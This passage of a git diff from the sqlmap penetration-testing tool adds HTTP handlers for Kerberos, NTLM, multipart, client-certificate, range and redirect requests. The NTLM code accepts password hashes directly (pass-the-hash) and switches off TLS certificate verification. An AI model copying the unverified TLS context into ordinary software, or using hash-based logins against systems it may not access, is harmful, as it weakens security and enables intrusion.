data[index + 1:] + return data[:index + 1] + + return readline + +def _makeReadlines(response): + def readlines(*args, **kwargs): + result = [] + while True: + line = response.readline() + if not line: + break + result.append(line) + return result + + return readlines diff --git a/lib/request/kerberos.py b/lib/request/kerberos.py new file mode 100644 index 00000000000..66cb6112ac2 --- /dev/null +++ b/lib/request/kerberos.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP "Negotiate" (SPNEGO/Kerberos) authentication, built on the in-tree +# pure-Python Kerberos client (extra/kerberos). No 'pykerberos'/'gssapi'/'requests-kerberos' needed. +# The TGT and per-service tickets are obtained once and cached; a fresh AP-REQ is minted for every +# request from the cached ticket (as replay caches require), so an entire scan costs a single AS+TGS +# exchange and the token is sent pre-emptively (no extra 401 round-trip per request). Python 2.7 / 3.x. + +import base64 +import logging +import threading +import time + +from lib.core.common import getSafeExString +from lib.core.common import singleTimeLogMessage +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves import urllib as _urllib + +from extra.kerberos.client import getServiceTicket +from extra.kerberos.client import getTGT +from extra.kerberos.client import KerberosError +from extra.kerberos.client import spnegoFromTicket +from extra.kerberos.discovery import discoverKdc + +TICKET_REFRESH_SKEW = 300 # re-fetch a ticket this long before it expires + +def _expiring(ticket): + """True for a cached ticket close enough to its expiry to be worth replacing (a scan can easily + run longer than the ticket lifetime, and an expired AP-REQ is rejected by every acceptor).""" + + return ticket is not None and ticket.get("endtime") is not None and time.time() + TICKET_REFRESH_SKEW >= ticket["endtime"] + +class HTTPNegotiateAuthHandler(_urllib.request.BaseHandler): + handler_order = 480 + + def __init__(self, realm, username, password, kdcHost=None, kdcPort=None): + # Kerberos realms are case-sensitive, but the credentials arrive in the Windows 'DOMAIN\\user' + # form where the domain is not, so normalize here rather than inside the protocol client + self.realm = realm.upper() + self.username = username + self.password = password + self.kdcHost = kdcHost # None -> discovered from the realm on first use + self.kdcPort = kdcPort + self._tgt = None + self._tickets = {} # target host -> service-ticket dict + self._tgtFailure = None # realm-wide failure (bad creds / KDC down) + self._hostFailures = {} # per-host failure (e.g. no HTTP/<host> SPN) + self._lock = threading.Lock() + + def _serviceTicket(self, host): + with self._lock: + if self._tgtFailure is not None: # TGT unobtainable -> nothing in the realm works + raise self._tgtFailure + if host in self._hostFailures: # this host already failed -> don't retry it + raise self._hostFailures[host] + if _expiring(self._tickets.get(host)): # drop a ticket that a long scan has outlived + del self._tickets[host] + if _expiring(self._tgt): + self._tgt = None + if host not in self._tickets: + if self._tgt is None: + if self.kdcHost is None: # krb5.conf / DNS SRV / realm-name discovery + self.kdcHost, self.kdcPort = discoverKdc(self.realm) + try: + self._tgt = getTGT(self.realm, self.username, self.password, self.kdcHost, self.kdcPort) + except Exception as ex: # cache so the AS exchange runs at most once + self._tgtFailure = ex + raise + try: + self._tickets[host] = getServiceTicket(self._tgt, self.realm, self.username, ["HTTP", host], self.kdcHost, self.kdcPort) + except Exception as ex: # host-specific -> other hosts remain usable + self._hostFailures[host] = ex + raise + return self._tickets[host] + + def _requestHandler(self, req): + host = _urllib.parse.urlsplit(req.get_full_url()).hostname + if host: + try: + token = spnegoFromTicket(self._serviceTicket(host), self.realm, self.username) + req.add_unredirected_header(HTTP_HEADER.AUTHORIZATION, "Negotiate %s" % getText(base64.b64encode(token))) + except KerberosError as ex: + # bad credentials / KDC-refused: log once, fall through unauthenticated (server 401s) + singleTimeLogMessage("Negotiate (Kerberos) authentication failed: %s" % getSafeExString(ex), logging.ERROR) + except Exception as ex: + # unreachable KDC, malformed reply, etc. - never let it crash the run + singleTimeLogMessage("could not obtain a Kerberos ticket (is the KDC '%s:%s' reachable?): %s" % (self.kdcHost, self.kdcPort, getSafeExString(ex)), logging.ERROR) + return req + + def http_request(self, req): + return self._requestHandler(req) + + https_request = http_request diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 5fd2035616e..3250cfe5c60 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib2 +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib -class MethodRequest(urllib2.Request): +class MethodRequest(_urllib.request.Request): """ - Used to create HEAD/PUT/DELETE/... requests with urllib2 + Used to create HEAD/PUT/DELETE/... requests with urllib """ def set_method(self, method): - self.method = method.upper() + self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) def get_method(self): - return getattr(self, 'method', urllib2.Request.get_method(self)) + return getattr(self, 'method', _urllib.request.Request.get_method(self)) diff --git a/lib/request/multiparthandler.py b/lib/request/multiparthandler.py new file mode 100644 index 00000000000..d0a7980d22a --- /dev/null +++ b/lib/request/multiparthandler.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import mimetypes +import re + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence +DOSEQ = True + +class MultipartPostHandler(_urllib.request.BaseHandler): + """ + urllib handler that transparently encodes a dict request body as multipart/form-data when it carries + file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically + vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on + sqlmap's own helpers, so it now lives here as a first-class request handler. + """ + + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + files, variables = [], [] + + try: + for key, value in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + files.append((key, value)) + else: + variables.append((key, value)) + except TypeError: + raise SqlmapDataException("not a valid non-string sequence or mapping object") + + if not files: + data = _urllib.parse.urlencode(variables, DOSEQ) + else: + boundary, data = self.multipartEncode(variables, files) + request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary) + + request.data = data + + # normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235) + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipartEncode(self, variables, files, boundary=None): + boundary = boundary or choose_boundary() + buffer_ = b"" + + for key, value in variables: + if key is not None and value is not None: + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for key, fd in files: + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] + try: + contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except Exception: + # Reference: http://bugs.python.org/issue9291 + contentType = b"application/octet-stream" + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType) + fd.seek(0) + buffer_ += b"\r\n%s\r\n" % fd.read() + + buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary) + + return boundary, getBytes(buffer_) + + https_request = http_request diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py new file mode 100644 index 00000000000..1b88812943c --- /dev/null +++ b/lib/request/ntlm.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient +# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for +# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is +# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors. + +import base64 +import binascii +import os +import re +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.pydes.pyDes import des +from thirdparty.pydes.pyDes import ECB +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# ---------- MD4 (RFC 1320) ---------- +def _md4(data): + data = bytearray(data) + n = len(data) + data.append(0x80) + while len(data) % 64 != 56: + data.append(0) + data += struct.pack("<Q", (n * 8) & 0xffffffffffffffff) + + a, b, c, d = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 + M = 0xffffffff + rot = lambda x, s: ((x << s) | (x >> (32 - s))) & M + + for off in range(0, len(data), 64): + X = struct.unpack("<16I", bytes(data[off:off + 64])) + A, B, C, D = a, b, c, d + F = lambda x, y, z: (x & y) | (~x & z) + G = lambda x, y, z: (x & y) | (x & z) | (y & z) + H = lambda x, y, z: x ^ y ^ z + + for k in (0, 4, 8, 12): + A = rot((A + F(B, C, D) + X[k]) & M, 3) + D = rot((D + F(A, B, C) + X[k + 1]) & M, 7) + C = rot((C + F(D, A, B) + X[k + 2]) & M, 11) + B = rot((B + F(C, D, A) + X[k + 3]) & M, 19) + for k in (0, 1, 2, 3): + A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3) + D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5) + C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9) + B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13) + for k in (0, 2, 1, 3): + A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3) + D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9) + C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11) + B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15) + + a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M + + return struct.pack("<4I", a, b, c, d) + +# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ---------- +def _str_to_key(chunk): + s = bytearray(chunk) + k = [s[0] >> 1, + ((s[0] & 0x01) << 6) | (s[1] >> 2), + ((s[1] & 0x03) << 5) | (s[2] >> 3), + ((s[2] & 0x07) << 4) | (s[3] >> 4), + ((s[3] & 0x0f) << 3) | (s[4] >> 5), + ((s[4] & 0x1f) << 2) | (s[5] >> 6), + ((s[5] & 0x3f) << 1) | (s[6] >> 7), + s[6] & 0x7f] + return bytes(bytearray((_ << 1) & 0xff for _ in k)) + +def _des(key7, block8): + return des(_str_to_key(key7), ECB).encrypt(block8) + +# ---------- negotiate flags ---------- +NTLM_NegotiateUnicode = 0x00000001 +NTLM_NegotiateOEM = 0x00000002 +NTLM_RequestTarget = 0x00000004 +NTLM_NegotiateNTLM = 0x00000200 +NTLM_NegotiateOemDomainSupplied = 0x00001000 +NTLM_NegotiateOemWorkstationSupplied = 0x00002000 +NTLM_NegotiateAlwaysSign = 0x00008000 +NTLM_NegotiateExtendedSecurity = 0x00080000 +NTLM_NegotiateTargetInfo = 0x00800000 +NTLM_NegotiateVersion = 0x02000000 +NTLM_Negotiate128 = 0x20000000 +NTLM_Negotiate56 = 0x80000000 +NTLM_MsvAvTimestamp = 7 + +NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion | + NTLM_Negotiate128 | NTLM_Negotiate56) +NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo | + NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56) + +_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z") + +# ---------- password hashes / challenge responses ---------- +def create_LM_hashed_password_v1(password): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[0]) + pw = (getBytes(password.upper()) + b"\0" * 14)[:14] + return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%") + +def create_NT_hashed_password_v1(password, user=None, domain=None): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[1]) + return _md4(password.encode("utf-16-le")) + +def calc_resp(password_hash, server_challenge): + ph = password_hash + b"\0" * (21 - len(password_hash)) + return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge) + +def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge): + import hashlib + lm_response = client_challenge + b"\0" * 16 + session = hashlib.md5(server_challenge + client_challenge).digest() + nt_response = calc_resp(nt_hash, session[0:8]) + return (nt_response, lm_response) + +# ---------- messages ---------- +def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS): + workstation = getBytes(socket.gethostname().upper()) + domain = getBytes(user.split('\\', 1)[0].upper()) + body = 40 + msg = b"NTLMSSP\0" + struct.pack("<I", 1) + struct.pack("<I", type1_flags) + msg += struct.pack("<HHI", len(domain), len(domain), body) + msg += struct.pack("<HHI", len(workstation), len(workstation), body + len(domain)) + msg += struct.pack("<BBHBBBB", 5, 1, 2600, 0, 0, 0, 15) # advertised OS version + msg += workstation + domain + return getText(base64.b64encode(msg)) + +def parse_NTLM_CHALLENGE_MESSAGE(msg2): + msg = base64.b64decode(msg2) + negotiate_flags = struct.unpack("<I", msg[20:24])[0] + server_challenge = msg[24:32] + return (server_challenge, negotiate_flags) + +def create_NTLM_AUTHENTICATE_MESSAGE(nonce, user, domain, password, negotiate_flags): + is_unicode = negotiate_flags & NTLM_NegotiateUnicode + is_extended = negotiate_flags & NTLM_NegotiateExtendedSecurity + + workstation = socket.gethostname().upper() + domain = domain.upper() + if is_unicode: + workstation = workstation.encode("utf-16-le") + domain = domain.encode("utf-16-le") + username = user.encode("utf-16-le") + else: + workstation = getBytes(workstation) + domain = getBytes(domain) + username = getBytes(user) + + lm_response = calc_resp(create_LM_hashed_password_v1(password), nonce) + nt_response = calc_resp(create_NT_hashed_password_v1(password), nonce) + if is_extended: + nt_hash = create_NT_hashed_password_v1(password) + client_challenge = os.urandom(8) + nt_response, lm_response = ntlm2sr_calc_resp(nt_hash, nonce, client_challenge) + + body = 72 + payload = domain + username + workstation + lm_response + nt_response + fields = b"NTLMSSP\0" + struct.pack("<I", 3) + fields += struct.pack("<HHI", len(lm_response), len(lm_response), body + len(domain) + len(username) + len(workstation)) + fields += struct.pack("<HHI", len(nt_response), len(nt_response), body + len(domain) + len(username) + len(workstation) + len(lm_response)) + fields += struct.pack("<HHI", len(domain), len(domain), body) + fields += struct.pack("<HHI", len(username), len(username), body + len(domain)) + fields += struct.pack("<HHI", len(workstation), len(workstation), body + len(domain) + len(username)) + fields += struct.pack("<HHI", 0, 0, body + len(payload)) # empty EncryptedRandomSessionKey + fields += struct.pack("<I", NTLM_TYPE2_FLAGS) + fields += struct.pack("<BBHBBBB", 5, 1, 2600, 0, 0, 0, 15) + return getText(base64.b64encode(fields + payload)) + +# ---------- urllib handler ---------- +class _AbstractNtlmAuthHandler(object): + def __init__(self, password_mgr=None): + self.passwd = password_mgr or _urllib.request.HTTPPasswordMgr() + self.add_password = self.passwd.add_password + + def _authenticate(self, auth_header_field, req, headers): + auth_header_value = headers.get(auth_header_field, None) + if auth_header_value is not None and 'ntlm' in auth_header_value.lower(): + return self._retry_ntlm(req, auth_header_field) + + def _retry_ntlm(self, req, auth_header_field): + user, pw = self.passwd.find_user_password(None, req.get_full_url()) + if pw is None: + return None + + parts = user.split('\\', 1) + if len(parts) == 1: + username, domain = parts[0], '' + type1_flags = NTLM_TYPE1_FLAGS & ~NTLM_NegotiateOemDomainSupplied + else: + domain, username = parts[0].upper(), parts[1] + type1_flags = NTLM_TYPE1_FLAGS + + # NTLM authenticates the CONNECTION, not the request, so the whole handshake rides one socket + headers = dict(req.headers) + headers.update(req.unredirected_hdrs) + negotiate = 'NTLM %s' % create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags) + if req.headers.get(self.auth_header, None) == negotiate: + return None + headers[self.auth_header] = negotiate + + host = req.host if hasattr(req, "host") else req.get_host() + if not host: + raise _urllib.error.URLError("no host given") + if req.get_full_url().startswith("https://"): + conn = _http_client.HTTPSConnection(host, context=ssl._create_unverified_context()) + else: + conn = _http_client.HTTPConnection(host) + + selector = req.selector if hasattr(req, "selector") else req.get_selector() + method = req.get_method() + + headers["Connection"] = "Keep-Alive" + headers = dict((name.title(), value) for name, value in headers.items()) + conn.request(method, selector, req.data, headers) + resp = conn.getresponse() + resp.read() # drain the challenge body, keep the socket + if resp.getheader("set-cookie"): # some apps track auth state in a cookie + headers["Cookie"] = resp.getheader("set-cookie") + auth_header_value = resp.getheader(auth_header_field, None) + + match = re.match(r"(NTLM [A-Za-z0-9+\-/=]+)", auth_header_value or "") + if not match: + return None + server_challenge, negotiate_flags = parse_NTLM_CHALLENGE_MESSAGE(match.group(1)[5:]) + + headers[self.auth_header] = 'NTLM %s' % create_NTLM_AUTHENTICATE_MESSAGE(server_challenge, username, domain, pw, negotiate_flags) + headers["Connection"] = "Close" + headers = dict((name.title(), value) for name, value in headers.items()) + try: + conn.request(method, selector, req.data, headers) + resp = conn.getresponse() + if not hasattr(resp, "readline"): # Python 2 httplib responses lack it; addinfourl copies it + resp.readline = lambda *args, **kwargs: b"" + infourl = _urllib.response.addinfourl(resp, resp.msg, req.get_full_url()) + infourl.code = resp.status + infourl.msg = resp.reason + return infourl + except socket.error as ex: + raise _urllib.error.URLError(ex) + +class HTTPNtlmAuthHandler(_AbstractNtlmAuthHandler, _urllib.request.BaseHandler): + auth_header = "Authorization" + + def http_error_401(self, req, fp, code, msg, headers): + fp.close() + return self._authenticate("www-authenticate", req, headers) + +class ProxyNtlmAuthHandler(_AbstractNtlmAuthHandler, _urllib.request.BaseHandler): + auth_header = "Proxy-authorization" + + def http_error_407(self, req, fp, code, msg, headers): + fp.close() + return self._authenticate("proxy-authenticate", req, headers) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 2f0c31dba2d..5b1c3495e4b 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,23 +1,51 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib -import urllib2 +ssl = None +try: + import ssl as _ssl + ssl = _ssl +except ImportError: + pass from lib.core.data import conf +from lib.core.common import getSafeExString +from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): + +class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): - urllib2.HTTPSHandler.__init__(self) + _urllib.request.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): - # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain - return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) + if timeout is None: + timeout = conf.timeout + + if not hasattr(_http_client, "HTTPSConnection"): + raise SqlmapConnectionException("HTTPS support is not available in this Python build") + + try: + if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): + ctx = ssl.create_default_context() + ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) + try: + return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) + except TypeError: + pass + + return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=timeout) + + except (IOError, OSError) as ex: + errMsg = "error occurred while using key " + errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 8288be55e78..1d19cfdd154 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,50 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib -import urllib2 - from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import urllib as _urllib -class HTTPRangeHandler(urllib2.BaseHandler): +class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file - - This was extremely simple. The Range header is a HTTP feature to - begin with so all this class does is tell urllib2 that the - "206 Partial Content" response from the HTTP server is what we - expected. - - Example: - import urllib2 - import byterange - - range_handler = range.HTTPRangeHandler() - opener = urllib2.build_opener(range_handler) - - # install it - urllib2.install_opener(opener) - - # create Request and set Range header - req = urllib2.Request('http://www.python.org/') - req.header['Range'] = 'bytes=30-50' - f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response - r = urllib.addinfourl(fp, hdrs, req.get_full_url()) + r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error - errMsg = "Invalid range" + errMsg = "there was a problem while connecting " + errMsg += "target ('416 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 73fa73f19ca..2f147221249 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,90 +1,100 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import io +import re +import time import types -import urllib2 -import urlparse -from StringIO import StringIO - -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger from lib.core.common import getHostHeader -from lib.core.common import getUnicode +from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage +from lib.request.basic import parseResponse +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class SmartRedirectHandler(urllib2.HTTPRedirectHandler): +class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: - if "location" in headers: - retVal = headers.getheaders("location")[0].split("?")[0] - elif "uri" in headers: - retVal = headers.getheaders("uri")[0].split("?")[0] + if HTTP_HEADER.LOCATION in headers: + retVal = headers[HTTP_HEADER.LOCATION] + elif HTTP_HEADER.URI in headers: + retVal = headers[HTTP_HEADER.URI] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: - if kb.redirectChoice is None: - msg = "sqlmap got a %d redirect to " % redcode + if kb.choices.redirect is None: + msg = "got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl - choice = readInput(msg, default="Y") - kb.redirectChoice = choice.upper() + kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO - if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: + if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") - choice = readInput(msg, default=("Y" if not kb.originalPage else "N")) - kb.resendPostOnRedirect = choice.upper() == 'Y' + kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): - newurl = newurl.replace(' ', '%20') - return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) + retVal = _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) + + if hasattr(req, "redirect_dict"): + retVal.redirect_dict = req.redirect_dict + + return retVal def http_error_302(self, req, fp, code, msg, headers): + start = time.time() content = None - redurl = self._get_header_redirect(headers) + forceRedirect = False + redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: + # Note: drain via the length-aware response (honors Content-Length/chunked), NOT the raw + # socket 'fp.fp' - the latter has no HTTP framing, so on a Keep-Alive connection (no EOF) + # it blocks for the whole '--timeout' on every redirect (Issue #6080) content = fp.read(MAX_CONNECTION_TOTAL_SIZE) - except Exception, msg: - dbgMsg = "there was a problem while retrieving " - dbgMsg += "redirect response content (%s)" % msg - logger.debug(dbgMsg) - finally: - if content: - try: # try to write it back to the read buffer so we could reuse it in further steps - fp.fp._rbuf.truncate(0) - fp.fp._rbuf.write(content) - except: - pass + except _http_client.IncompleteRead as ex: + content = ex.partial + except: + content = b"" + + # back 'fp' with the captured body so it stays re-readable downstream (Issue #5985); the + # length-aware read above has consumed the response, so restore both the buffer and read() + fp.fp = io.BytesIO(content) + fp.read = fp.fp.read content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) @@ -92,51 +102,99 @@ def http_error_302(self, req, fp, code, msg, headers): threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " - redirectMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg)) + redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: - logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) + logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: - redirectMsg += "\n\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) + redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) - logHTTPTraffic(threadData.lastRequestMsg, redirectMsg) + logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + if not _urllib.parse.urlsplit(redurl).netloc: + redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + crawlRedirectFilter = getattr(threadData, "crawlRedirectFilter", None) + if crawlRedirectFilter is not None and not crawlRedirectFilter(redurl): + # a crawler recon/source-map fetch carries the session cookie; it must NOT follow an + # (attacker-controlled) redirect out of scope - reject the hop before it is made, so the + # cookie never reaches the off-scope destination (works even when no explicit --scope is set) + redurl = None + elif conf.scope: + if not re.search(conf.scope, redurl, re.I): + redurl = None + else: + forceRedirect = True + else: + self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp - if redurl and kb.redirectChoice == REDIRECTION.YES: + if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): + parseResponse(content, headers) + req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: - req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] + cookies = dict() + delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER + last = None + + for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter): + if '=' in part: + part = part.strip() + key, value = part.split('=', 1) + cookies[key] = value + last = key + elif last: + cookies[last] += "%s%s" % (delimiter, part) + + if HTTP_HEADER.SET_COOKIE in headers: + for match in 